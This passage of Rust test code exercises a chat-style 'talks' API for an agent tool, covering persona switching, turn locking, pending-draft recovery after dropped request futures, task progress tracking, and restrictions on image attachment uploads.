14139        let json = serde_json::to_string(&detail).unwrap();
14140        assert!(
14141            !json.contains("secret"),
14142            "the icon setting must not leak: {json}"
14143        );
14144        assert!(
14145            detail
14146                .view
14147                .persona_avatar
14148                .starts_with(&format!("/api/talks/{id}/avatar?persona=default&v="))
14149        );
14150        assert_eq!(
14151            detail.view.operator_avatar,
14152            format!(
14153                "/avatars/operator.svg?v={}",
14154                persona_icon::fingerprint(Some(persona_icon::operator_svg()))
14155            )
14156        );
14157        assert!(!detail.personas.iter().any(|p| p.id == "operator"));
14158        let rei = detail.personas.iter().find(|p| p.id == "rei").unwrap();
14159        let plain = detail.personas.iter().find(|p| p.id == "asuka").unwrap();
14160        assert!(rei.avatar.contains("persona=rei&v="));
14161        assert_ne!(
14162            rei.avatar.split("&v=").nth(1),
14163            plain.avatar.split("&v=").nth(1)
14164        );
14165    }
14166
14167    #[tokio::test]
14168    async fn empty_settings_turn_releases_inline_only_for_unchanged_generation() {
14169        let (_t, _h, ui, id, repo) = avatar_fixture("").await;
14170        let cfg = config_for(&repo).await.unwrap();
14171        for arrived in [false, true] {
14172            let turn = ui.begin_talk_turn(&id).unwrap().unwrap();
14173            let observed = ui.queued_generation(&id);
14174            let talk = ui.talks.get(&id).unwrap();
14175            if arrived {
14176                assert!(ui.begin_queued_talk_turn(&id).unwrap().is_none());
14177            }
14178            let mut settling = std::pin::pin!(settle_settings_turn(
14179                talk,
14180                ui.talks.clone(),
14181                cfg.clone(),
14182                id.clone(),
14183                turn,
14184                observed
14185            ));
14186            let mut cx = std::task::Context::from_waker(std::task::Waker::noop());
14187            let first = std::future::Future::poll(settling.as_mut(), &mut cx);
14188            assert_eq!(first.is_pending(), arrived);
14189            if arrived {
14190                assert!(!settling.await);
14191            }
14192            assert!(!ui.is_thinking(&id));
14193        }
14194    }
14195
14196    #[tokio::test]
14197    async fn talk_persona_round_trips_and_refuses_unknown_busy_or_closed() {
14198        let tmp = TempDir::new().expect("tempdir");
14199        let repo = tmp.path().join("repo");
14200        std::fs::create_dir_all(&repo).expect("repo dir");
14201        std::fs::write(
14202            repo.join("magi.toml"),
14203            format!(
14204                "{MOCK_AGENT_TOML}\n[[talk.personas]]\nid = \"gendo\"\nname = \"Gendo\"\nprompt = \"Be cold.\"\n"
14205            ),
14206        )
14207        .expect("write magi.toml");
14208        let home = TempDir::new().expect("temp home");
14209        let talks = Talks::at(home.path().join("talks"));
14210        let ui = Arc::new(
14211            Ui::new(
14212                Queue::at(home.path().join("queue")),
14213                Questions::at(home.path().join("questions")),
14214                talks.clone(),
14215                home.path().join("runs"),
14216                home.path().to_path_buf(),
14217                repo.clone(),
14218            )
14219            .with_worktrees_root(home.path().join("wt")),
14220        );
14221        let cfg = config_for(&repo).await.expect("discover config");
14222        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
14223        let id = talk.id.clone();
14224        let call = |persona: &str| {
14225            talk_persona(
14226                State(Arc::clone(&ui)),
14227                Path(id.clone()),
14228                Json(TalkPersona {
14229                    persona: persona.to_owned(),
14230                }),
14231            )
14232        };
14233
14234        let unknown = call("nobody").await.expect_err("unknown persona");
14235        assert_eq!(
14236            unknown.status,
14237            StatusCode::BAD_REQUEST,
14238            "{}",
14239            unknown.message
14240        );
14241
14242        {
14243            // Nothing refused so far took a claim, so the guard is free to take
14244            // and holding it is what makes the talk busy.
14245            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
14246            let busy = call("rei").await.expect_err("busy talk");
14247            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
14248            assert!(
14249                busy.message.contains("a talk turn is running"),
14250                "{}",
14251                busy.message
14252            );
14253            drop(guard);
14254        }
14255        assert_eq!(talks.get(&id).expect("reload").persona, "");
14256
14257        let Json(view) = call("gendo").await.expect("switch to a configured persona");
14258        assert_eq!(view.talk.persona, "gendo");
14259        assert_eq!(talks.get(&id).expect("reload").persona, "gendo");
14260        assert!(!ui.is_thinking(&id), "idle response must release the claim");
14261        // No intervening I/O or sleep may be needed before another change.
14262        for chosen in ["default", "gendo", "rei", "gendo"] {
14263            let Json(view) = call(chosen).await.expect("immediate consecutive change");
14264            assert!(!view.thinking);
14265            assert!(!ui.is_thinking(&id));
14266        }
14267
14268        let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
14269            .await
14270            .expect("detail");
14271        let ids: Vec<&str> = detail.0.personas.iter().map(|p| p.id.as_str()).collect();
14272        assert_eq!(ids.first(), Some(&"default"));
14273        assert!(ids.contains(&"rei") && ids.contains(&"gendo"));
14274
14275        let Json(view) = call("default").await.expect("back to default");
14276        assert_eq!(view.talk.persona, "");
14277
14278        let mut closed = talks.get(&id).expect("reload");
14279        talk::close(&mut closed, &talks).expect("close");
14280        let refused = call("rei").await.expect_err("closed talk");
14281        assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
14282        assert!(
14283            refused.message.contains("takes no more turns"),
14284            "{}",
14285            refused.message
14286        );
14287    }
14288
14289    #[tokio::test]
14290    async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
14291        let f = Fixture::start().await;
14292        let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
14293        let queue = f.queue();
14294        let mut mine = Task::new(
14295            "rename the loader".to_owned(),
14296            "rename the loader".to_owned(),
14297            PathBuf::from("/repo/magi"),
14298            Source::Agent {
14299                run: talk_id.clone(),
14300                node: "chat".to_owned(),
14301            },
14302        );
14303        let empty = f.get(&format!("/api/talks/{talk_id}")).await.json();
14304        assert_eq!(empty["task_progress"]["state"], "none");
14305        assert_eq!(empty["task_progress"]["total"], 0);
14306        queue.put(&mut mine).expect("file the task");
14307        let mut theirs = Task::new(
14308            "unrelated".to_owned(),
14309            "unrelated".to_owned(),
14310            PathBuf::from("/repo/magi"),
14311            Source::Human,
14312        );
14313        // A later task linked through origin_chat alone is outside this list.
14314        theirs.origin_chat = Some(talk_id.clone());
14315        queue.put(&mut theirs).expect("file the task");
14316
14317        let res = f.get(&format!("/api/talks/{talk_id}")).await;
14318        assert_eq!(res.status, 200, "{}", res.body);
14319        let body = res.json();
14320        assert_eq!(
14321            body["status"], "open",
14322            "filing a task does not close a talk"
14323        );
14324        let tasks = body["tasks"].as_array().expect("tasks array");
14325        assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
14326        assert_eq!(tasks[0]["id"], mine.id);
14327        for status in [
14328            TaskStatus::Queued,
14329            TaskStatus::Running,
14330            TaskStatus::Held,
14331            TaskStatus::Failed,
14332            TaskStatus::Blocked,
14333            TaskStatus::Parked,
14334            TaskStatus::Done,
14335            TaskStatus::Queued,
14336        ] {
14337            mine.status = status;
14338            queue.put(&mut mine).expect("update status");
14339            let detail = f.get(&format!("/api/talks/{talk_id}")).await.json();
14340            let progress = &detail["task_progress"];
14341            assert_eq!(progress["total"], 1);
14342            assert_eq!(progress["counts"][status.as_str()], 1);
14343            assert_eq!(detail["tasks"][0]["status"], status.as_str());
14344            assert_eq!(detail["status"], "open", "completion never closes the chat");
14345            if status == TaskStatus::Done {
14346                assert_eq!(progress["state"], "complete");
14347                assert_eq!(progress["done"], 1);
14348                assert_eq!(progress["unfinished_ids"], serde_json::json!([]));
14349            } else {
14350                assert_eq!(progress["state"], "incomplete");
14351                assert_eq!(progress["done"], 0);
14352                assert_eq!(progress["unfinished_ids"], serde_json::json!([mine.id]));
14353            }
14354        }
14355    }
14356
14357    #[test]
14358    fn talk_task_progress_counts_mixed_statuses() {
14359        let mut tasks: Vec<_> = [
14360            TaskStatus::Queued,
14361            TaskStatus::Running,
14362            TaskStatus::Held,
14363            TaskStatus::Failed,
14364            TaskStatus::Blocked,
14365            TaskStatus::Parked,
14366            TaskStatus::Done,
14367        ]
14368        .into_iter()
14369        .map(|status| {
14370            let mut task = Task::new(
14371                "task".into(),
14372                "task".into(),
14373                PathBuf::from("/repo"),
14374                Source::Human,
14375            );
14376            task.status = status;
14377            task
14378        })
14379        .collect();
14380        let progress = talk_task_progress(&tasks);
14381        assert_eq!(progress.state, "incomplete");
14382        assert_eq!(progress.total, 7);
14383        assert_eq!(progress.done, 1);
14384        assert_eq!(progress.unfinished_ids.len(), 6);
14385        assert!(progress.counts.values().all(|count| *count == 1));
14386        assert_eq!(
14387            progress.unfinished_ids,
14388            tasks[..6]
14389                .iter()
14390                .map(|task| task.id.clone())
14391                .collect::<Vec<_>>()
14392        );
14393
14394        for task in &mut tasks {
14395            task.status = TaskStatus::Done;
14396        }
14397        let complete = talk_task_progress(&tasks);
14398        assert_eq!(complete.state, "complete");
14399        assert_eq!(complete.done, 7);
14400        assert!(complete.unfinished_ids.is_empty());
14401        tasks[0].status = TaskStatus::Queued;
14402        let requeued = talk_task_progress(&tasks);
14403        assert_eq!(requeued.state, "incomplete");
14404        assert_eq!(requeued.done, 6);
14405        assert_eq!(requeued.unfinished_ids, vec![tasks[0].id.clone()]);
14406
14407        let empty = talk_task_progress(&[]);
14408        assert_eq!(empty.state, "none");
14409        assert_eq!(empty.total, 0);
14410        assert_eq!(empty.done, 0);
14411        assert!(empty.unfinished_ids.is_empty());
14412        assert!(empty.counts.values().all(|count| *count == 0));
14413    }
14414
14415    #[tokio::test]
14416    async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
14417        let (_tmp, _repo, f) = talk_fixture().await;
14418        let id = f.post("/api/talks", None).await.json()["id"]
14419            .as_str()
14420            .expect("id")
14421            .to_owned();
14422
14423        let res = f
14424            .post(
14425                &format!("/api/talks/{id}/say"),
14426                Some(r#"{"text":"what does the queue module do?"}"#),
14427            )
14428            .await;
14429        assert_eq!(res.status, 202, "{}", res.body);
14430        let queued = res.json();
14431        let turns = queued["turns"].as_array().expect("turns array");
14432        assert_eq!(
14433            turns.len(),
14434            1,
14435            "the answer reflects only what is on disk the instant it is sent, \
14436             before the agent's turn - which can run for the whole of \
14437             `[graph] timeout_talk` - has a chance to land: {queued}"
14438        );
14439        assert_eq!(turns[0]["who"], "operator");
14440        assert_eq!(turns[0]["body"], "what does the queue module do?");
14441        assert_eq!(
14442            queued["thinking"], true,
14443            "the accepted response exposes the background turn claim: {queued}"
14444        );
14445
14446        let mut turns_after = 1;
14447        for _ in 0..SETTLE_STEPS {
14448            let detail = f.get(&format!("/api/talks/{id}")).await.json();
14449            turns_after = detail["turns"].as_array().expect("turns array").len();
14450            if turns_after == 2 {
14451                break;
14452            }
14453            tokio::time::sleep(Duration::from_millis(10)).await;
14454        }
14455        assert_eq!(turns_after, 2, "the agent's reply eventually lands");
14456    }
14457
14458    /// A phone that reloads mid-request drops `talk_say`'s whole handler
14459    /// future without warning - see `TalkTurnGuard`'s doc. The bug this
14460    /// guards against: `talk::record` used to return, and only *then* did the
14461    /// handler make a second, separate disk round trip before spawning the
14462    /// agent's reply task. A future dropped in that gap left a message
14463    /// recorded on disk with no reply task ever started and no way back short
14464    /// of a fresh message - and the gap was not even the whole story: *any*
14465    /// `.await` in this handler, including the very first one, is a point
14466    /// where a drop can land after the awaited work already finished but
14467    /// before this handler's own code resumes to act on it. `record` now
14468    /// runs inside the task `tokio::spawn` hands to the runtime before this
14469    /// handler ever awaits anything of its own again, so there is nothing
14470    /// left in *this* handler's future for a disconnect to interrupt between
14471    /// the message landing on disk and the reply task starting.
14472    ///
14473    /// A real socket disconnect cannot be relied on to land in the old gap
14474    /// from a test - over loopback, `talk_say` typically finishes before the
14475    /// kernel even reports the peer gone. `JoinHandle::abort` reproduces the
14476    /// same failure mode directly: it drops the task's future at whatever
14477    /// point it has reached, exactly what axum does to the handler future,
14478    /// without needing to win a real network race. Sweeping the delay before
14479    /// aborting samples a range of points the task's execution can be at,
14480    /// including where the old code sat waiting on its second disk round
14481    /// trip - confirmed by reverting this fix locally and watching this same
14482    /// sweep catch a talk stuck with the operator's turn recorded and no
14483    /// reply ever following.
14484    #[tokio::test]
14485    async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
14486        let tmp = TempDir::new().expect("tempdir");
14487        let repo = tmp.path().join("repo");
14488        std::fs::create_dir_all(&repo).expect("repo dir");
14489        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
14490        let home = TempDir::new().expect("temp home");
14491        let talks = Talks::at(home.path().join("talks"));
14492        let ui = Arc::new(
14493            Ui::new(
14494                Queue::at(home.path().join("queue")),
14495                Questions::at(home.path().join("questions")),
14496                talks.clone(),
14497                home.path().join("runs"),
14498                home.path().to_path_buf(),
14499                repo.clone(),
14500            )
14501            .with_worktrees_root(home.path().join("wt")),
14502        );
14503        let cfg = config_for(&repo).await.expect("discover config");
14504
14505        for delay in 0..40u32 {
14506            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
14507            let id = talk.id.clone();
14508
14509            let handler = tokio::spawn(talk_say(
14510                State(Arc::clone(&ui)),
14511                Path(id.clone()),
14512                Ok(Json(NewTalkTurn {
14513                    reply_to: None,
14514                    text: "what does the queue module do?".to_owned(),
14515                    attachments: Vec::new(),
14516                })),
14517            ));
14518            tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
14519            handler.abort();
14520            // Wait out the abort so the next iteration's talk does not race
14521            // this one's still-unwinding turn guard.
14522            let _ = handler.await;
14523
14524            let mut turns = 0;
14525            for _ in 0..SETTLE_STEPS {
14526                if let Ok(fresh) = talks.get(&id) {
14527                    turns = fresh.turns.len();
14528                    if turns != 1 {
14529                        break;
14530                    }
14531                }
14532                tokio::time::sleep(Duration::from_millis(10)).await;
14533            }
14534            assert_ne!(
14535                turns, 1,
14536                "delay {delay}: talk {id} recorded the operator's turn but \
14537                 the agent never answered - the reply task was never \
14538                 started after the handler future was dropped"
14539            );
14540        }
14541    }
14542
14543    /// The same drop, landing on `talk_say`'s other durable write.
14544    ///
14545    /// When a turn is already running, the busy branch persists the
14546    /// operator's text as a queued draft and then reclaims the turn slot if
14547    /// the holder gave it up in the meantime - and whoever reclaims owes that
14548    /// draft a `drain_loop`. `blocking` runs its closure on `spawn_blocking`,
14549    /// which finishes whether or not the future awaiting it is still there,
14550    /// so a handler dropped at that `.await` used to leave the draft written
14551    /// to disk with the reclaimed guard dropped unread and no drainer ever
14552    /// started: the message sat queued until some unrelated later `say`
14553    /// happened to pick it up.
14554    ///
14555    /// This used to drive the handler future by hand, polling it a fixed
14556    /// number of times to park it at the `.await` where it asks for the turn
14557    /// and finds it busy, before the reclaim's slot-free case could be set up
14558    /// underneath it. That assumed a fixed number of polls lands at a fixed
14559    /// `.await` - which is not true: `blocking` awaits a `spawn_blocking`
14560    /// `JoinHandle`, and a `JoinHandle` already finished resolves in a single
14561    /// poll, so any number of this handler's several `blocking` awaits can
14562    /// collapse into one poll under load, landing the drive somewhere other
14563    /// than intended - including, occasionally, straight past the handler's
14564    /// own completion, which made polling it again panic with "async fn
14565    /// resumed after completion". No poll count fixes that; the handler's
14566    /// progress simply is not something a caller outside it can observe by
14567    /// counting.
14568    ///
14569    /// [`BusyQueueGate`] replaces the poll count with a real stop point
14570    /// inside the write itself, so the interleaving under test is pinned by
14571    /// an event instead of a guess: the gate fires only once the handler has
14572    /// actually decided `Busy` and is about to persist the draft, and it
14573    /// blocks that write until the test lets it through. Between those two
14574    /// moments the test drains the turn the handler found busy - through
14575    /// `drain_loop`, the protocol's other half - and then aborts the handler
14576    /// task outright, the same way axum drops a disconnected request's
14577    /// future. The write, and the reclaim it may do, run to completion
14578    /// regardless: they live in the `tokio::spawn` task the busy branch hands
14579    /// to the runtime before ever touching the gate, wholly independent of
14580    /// whether the handler that started it is still around - which is what
14581    /// this test is actually checking. A drainer other than that reclaim
14582    /// cannot exist here: the test's own `drain_loop` call happens before the
14583    /// gate opens, so it runs while the queue is still empty and hands the
14584    /// turn straight back rather than draining anything, closing off the
14585    /// possibility of the final assertion passing without the reclaim ever
14586    /// having done its job.
14587    #[tokio::test]
14588    async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
14589        let tmp = TempDir::new().expect("tempdir");
14590        let repo = tmp.path().join("repo");
14591        std::fs::create_dir_all(&repo).expect("repo dir");
14592        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
14593        let home = TempDir::new().expect("temp home");
14594        let talks = Talks::at(home.path().join("talks"));
14595        let ui = Arc::new(
14596            Ui::new(
14597                Queue::at(home.path().join("queue")),
14598                Questions::at(home.path().join("questions")),
14599                talks.clone(),
14600                home.path().join("runs"),
14601                home.path().to_path_buf(),
14602                repo.clone(),
14603            )
14604            .with_worktrees_root(home.path().join("wt")),
14605        );
14606        let cfg = config_for(&repo).await.expect("discover config");
14607
14608        for attempt in 0..3u32 {
14609            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
14610            let id = talk.id.clone();
14611            // A turn is already running, which is what sends `talk_say` down
14612            // the busy branch.
14613            let turn_guard = ui
14614                .begin_talk_turn(&id)
14615                .expect("claim the turn")
14616                .expect("a fresh talk owes nobody a turn");
14617
14618            let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
14619            let (release_tx, release_rx) = std::sync::mpsc::channel();
14620            ui.set_busy_queue_gate(BusyQueueGate {
14621                reached: reached_tx,
14622                release: release_rx,
14623            });
14624
14625            let handler = tokio::spawn(talk_say(
14626                State(Arc::clone(&ui)),
14627                Path(id.clone()),
14628                Ok(Json(NewTalkTurn {
14629                    reply_to: None,
14630                    text: "what does the queue module do?".to_owned(),
14631                    attachments: Vec::new(),
14632                })),
14633            ));
14634
14635            // Wait for the busy branch to actually reach the gate, rather
14636            // than for any fixed number of polls of anything - a bounded
14637            // wait rather than a bare `.await` so a regression that never
14638            // reaches the gate fails the test instead of hanging it.
14639            tokio::time::timeout(Duration::from_secs(5), reached_rx)
14640                .await
14641                .unwrap_or_else(|_| {
14642                    panic!(
14643                        "attempt {attempt}: talk {id} never reached the busy branch's queue write"
14644                    )
14645                })
14646                .expect("the busy branch dropped the gate without using it");
14647
14648            // The turn that was running now finishes and gives the slot up
14649            // the way a real one does - through `drain_loop`, which finds
14650            // nothing queued yet (the write is still held at the gate) and
14651            // releases. The handler, parked inside `spawn_blocking` on the
14652            // other side of the gate, still believes the talk is busy -
14653            // exactly the interleaving the reclaim exists for.
14654            let running = talks.get(&id).expect("reload talk");
14655            drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
14656
14657            // Drop the handler future now, the way a reloading phone drops
14658            // it: suspended waiting on the busy branch's answer, having
14659            // itself made no more progress since it handed the write off.
14660            handler.abort();
14661            let _ = handler.await;
14662
14663            // Only now let the gated write proceed. It persists the draft
14664            // and reclaims the now-free slot from inside the task the busy
14665            // branch already spawned - unaffected by the handler's abort
14666            // above, since that task was independent of the handler's own
14667            // future from the moment it was spawned.
14668            let _ = release_tx.send(());
14669
14670            // A settled talk: the draft drained into an operator turn and
14671            // answered.
14672            let mut fresh = talks.get(&id).expect("reload talk");
14673            for _ in 0..SETTLE_STEPS {
14674                if fresh.pending.is_empty() && fresh.turns.len() == 2 {
14675                    break;
14676                }
14677                tokio::time::sleep(Duration::from_millis(10)).await;
14678                fresh = talks.get(&id).expect("reload talk");
14679            }
14680            assert!(
14681                fresh.pending.is_empty() && fresh.turns.len() == 2,
14682                "attempt {attempt}: talk {id} left the operator's text queued \
14683                 with no drainer - the reclaimed turn was dropped along with \
14684                 the handler future (pending {:?}, {} turns)",
14685                fresh.pending,
14686                fresh.turns.len()
14687            );
14688        }
14689    }
14690
14691    #[tokio::test]
14692    async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
14693        let (_tmp, _repo, f) = talk_fixture().await;
14694        let id = f.post("/api/talks", None).await.json()["id"]
14695            .as_str()
14696            .expect("id")
14697            .to_owned();
14698        let store = f.talks();
14699        let mut recovered = store.get(&id).expect("opened talk");
14700        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
14701            .expect("persist pending draft without a live turn");
14702
14703        let edited = f
14704            .post(
14705                &format!("/api/talks/{id}/pending/edit"),
14706                Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
14707            )
14708            .await;
14709        assert_eq!(edited.status, 200, "{}", edited.body);
14710        assert!(edited.json()["thinking"].as_bool().unwrap());
14711
14712        let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
14713        for _ in 0..SETTLE_STEPS {
14714            if detail["turns"].as_array().expect("turns").len() == 2 {
14715                break;
14716            }
14717            tokio::time::sleep(Duration::from_millis(10)).await;
14718            detail = f.get(&format!("/api/talks/{id}")).await.json();
14719        }
14720        let turns = detail["turns"].as_array().expect("turns");
14721        assert_eq!(
14722            turns.len(),
14723            2,
14724            "the recovered draft must run once: {detail}"
14725        );
14726        assert_eq!(turns[0]["body"], "corrected");
14727        assert_eq!(detail["pending"], "");
14728    }
14729
14730    #[tokio::test]
14731    async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
14732        let tmp = TempDir::new().expect("tempdir");
14733        let repo = tmp.path().join("repo");
14734        std::fs::create_dir_all(&repo).expect("repo dir");
14735        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
14736        let f = Fixture::with_repo(repo).await;
14737        let id = f.post("/api/talks", None).await.json()["id"]
14738            .as_str()
14739            .expect("id")
14740            .to_owned();
14741        let store = f.talks();
14742        let mut recovered = store.get(&id).expect("opened talk");
14743        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
14744            .expect("persist pending draft without a live turn");
14745
14746        let refused = f
14747            .post(
14748                &format!("/api/talks/{id}/say"),
14749                Some(r#"{"text":"new message"}"#),
14750            )
14751            .await;
14752        assert_eq!(refused.status, 409, "{}", refused.body);
14753        assert!(refused.body.contains("resume"), "{}", refused.body);
14754        let saved = store.get(&id).expect("draft remains after refusal");
14755        assert!(saved.turns.is_empty());
14756        assert_eq!(saved.pending, "saved before restart");
14757
14758        let say_path = format!("/api/talks/{id}/say");
14759        let (first, second) = tokio::join!(
14760            f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
14761            f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
14762        );
14763        assert_eq!(first.status, 409, "{}", first.body);
14764        assert_eq!(second.status, 409, "{}", second.body);
14765        let saved = store
14766            .get(&id)
14767            .expect("draft remains after concurrent refusals");
14768        assert!(saved.turns.is_empty());
14769        assert_eq!(saved.pending, "saved before restart");
14770
14771        let resumed = f
14772            .post(&format!("/api/talks/{id}/pending/resume"), None)
14773            .await;
14774        assert_eq!(resumed.status, 202, "{}", resumed.body);
14775        let duplicate = f
14776            .post(&format!("/api/talks/{id}/pending/resume"), None)
14777            .await;
14778        assert_eq!(duplicate.status, 409, "{}", duplicate.body);
14779
14780        for _ in 0..SETTLE_STEPS {
14781            if store.get(&id).expect("talk").turns.len() == 2 {
14782                break;
14783            }
14784            tokio::time::sleep(Duration::from_millis(10)).await;
14785        }
14786        let finished = store.get(&id).expect("finished talk");
14787        assert_eq!(finished.turns.len(), 2, "{finished:?}");
14788        assert_eq!(finished.turns[0].body, "saved before restart");
14789        assert!(finished.pending.is_empty());
14790    }
14791
14792    #[tokio::test]
14793    async fn an_image_only_recovered_draft_resumes_without_text() {
14794        let (_tmp, _repo, f) = talk_fixture().await;
14795        let id = f.post("/api/talks", None).await.json()["id"]
14796            .as_str()
14797            .expect("id")
14798            .to_owned();
14799        let uploaded = f
14800            .post_bytes(
14801                &format!("/api/talks/{id}/attachments"),
14802                &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
14803                PNG_BYTES,
14804            )
14805            .await;
14806        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
14807        let attachment = f
14808            .talks()
14809            .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
14810            .expect("attachment metadata")
14811            .expect("stored attachment");
14812        let store = f.talks();
14813        let mut recovered = store.get(&id).expect("opened talk");
14814        talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
14815
14816        let resumed = f
14817            .post(&format!("/api/talks/{id}/pending/resume"), None)
14818            .await;
14819        assert_eq!(resumed.status, 202, "{}", resumed.body);
14820        for _ in 0..SETTLE_STEPS {
14821            if store.get(&id).expect("talk").turns.len() == 2 {
14822                break;
14823            }
14824            tokio::time::sleep(Duration::from_millis(10)).await;
14825        }
14826        let finished = store.get(&id).expect("finished talk");
14827        assert_eq!(finished.turns.len(), 2, "{finished:?}");
14828        assert!(finished.turns[0].body.is_empty());
14829        assert_eq!(finished.turns[0].attachments.len(), 1);
14830        assert!(finished.pending_attachments.is_empty());
14831    }
14832
14833    #[tokio::test]
14834    async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
14835        let (_tmp, _repo, f) = talk_fixture().await;
14836        let id = f.post("/api/talks", None).await.json()["id"]
14837            .as_str()
14838            .expect("id")
14839            .to_owned();
14840        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
14841        assert_eq!(closed.status, 200, "{}", closed.body);
14842        let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
14843            .expect("serialize closed talk");
14844        for (path, body) in [
14845            (format!("/api/talks/{id}/pending/resume"), None),
14846            (
14847                format!("/api/talks/{id}/pending/clear"),
14848                Some(r#"{"expected_text":"","expected_attachments":[]}"#),
14849            ),
14850            (
14851                format!("/api/talks/{id}/pending/edit"),
14852                Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
14853            ),
14854            (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
14855        ] {
14856            let response = f.post(&path, body).await;
14857            assert_eq!(response.status, 409, "{}", response.body);
14858        }
14859        let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
14860            .expect("serialize closed talk");
14861        assert_eq!(
14862            after_clear, before_clear,
14863            "clear must not rewrite a closed talk"
14864        );
14865    }
14866
14867    /// Keeps both claims observable long enough to exercise the distinction
14868    /// between one busy talk and a globally locked Chat surface.
14869    const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 3 && printf ok\"]\n";
14870
14871    #[tokio::test]
14872    async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
14873        let tmp = TempDir::new().expect("tempdir");
14874        let repo = tmp.path().join("repo");
14875        std::fs::create_dir_all(&repo).expect("repo dir");
14876        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
14877        let f = Fixture::with_repo(repo).await;
14878        let id_a = f.post("/api/talks", None).await.json()["id"]
14879            .as_str()
14880            .unwrap()
14881            .to_owned();
14882        let id_b = f.post("/api/talks", None).await.json()["id"]
14883            .as_str()
14884            .unwrap()
14885            .to_owned();
14886
14887        let a = f
14888            .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
14889            .await;
14890        assert_eq!(a.status, 202, "{}", a.body);
14891        assert_eq!(a.json()["thinking"], true);
14892        let b = f
14893            .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
14894            .await;
14895        assert_eq!(b.status, 202, "{}", b.body);
14896        assert_eq!(b.json()["thinking"], true);
14897
14898        let listed = f.get("/api/talks").await.json();
14899        for id in [&id_a, &id_b] {
14900            let view = listed
14901                .as_array()
14902                .unwrap()
14903                .iter()
14904                .find(|talk| talk["id"] == *id)
14905                .unwrap();
14906            assert_eq!(view["thinking"], true, "{listed}");
14907        }
14908        let repeated = f
14909            .post(
14910                &format!("/api/talks/{id_a}/say"),
14911                Some(r#"{"text":"again"}"#),
14912            )
14913            .await;
14914        assert_eq!(repeated.status, 202, "{}", repeated.body);
14915        assert_eq!(repeated.json()["pending"], "again");
14916    }
14917
14918    /// Bytes `sniffed_mime` recognises as `image/png` - the signature plus a
14919    /// few more, since real uploads are never exactly eight bytes.
14920    const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
14921
14922    #[tokio::test]
14923    async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
14924        let f = Fixture::start().await;
14925        let id = seed_talk(&f, "20260905-000000-a1b2", "open");
14926
14927        let res = f
14928            .post_bytes(
14929                &format!("/api/talks/{id}/attachments"),
14930                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
14931                PNG_BYTES,
14932            )
14933            .await;
14934        assert_eq!(res.status, 201, "{}", res.body);
14935        let body = res.json();
14936        assert_eq!(body["name"], "shot.png");
14937        assert_eq!(body["mime"], "image/png");
14938        assert_eq!(body["bytes"], PNG_BYTES.len());
14939        let att_id = body["id"].as_str().expect("id").to_owned();
14940        assert_eq!(
14941            att_id.len(),
14942            32,
14943            "the id must never be a client-suppliable path: {att_id}"
14944        );
14945
14946        let got = f
14947            .get(&format!("/api/talks/{id}/attachments/{att_id}"))
14948            .await;
14949        assert_eq!(got.status, 200, "{}", got.body);
14950        assert_eq!(got.header("content-type"), Some("image/png"));
14951        assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
14952        assert_eq!(got.bytes, PNG_BYTES);
14953    }
14954
14955    #[tokio::test]
14956    async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
14957        let f = Fixture::start().await;
14958        let id = seed_talk(&f, "20260905-000000-c3d4", "open");
14959
14960        // SVG can carry a `<script>`, so it is never on the whitelist even
14961        // though it is a real IANA image type.
14962        let svg = f
14963            .post_bytes(
14964                &format!("/api/talks/{id}/attachments"),
14965                &[("Content-Type", "image/svg+xml")],
14966                b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
14967            )
14968            .await;
14969        assert!(
14970            (400..500).contains(&svg.status),
14971            "svg must be refused: {} {}",
14972            svg.status,
14973            svg.body
14974        );
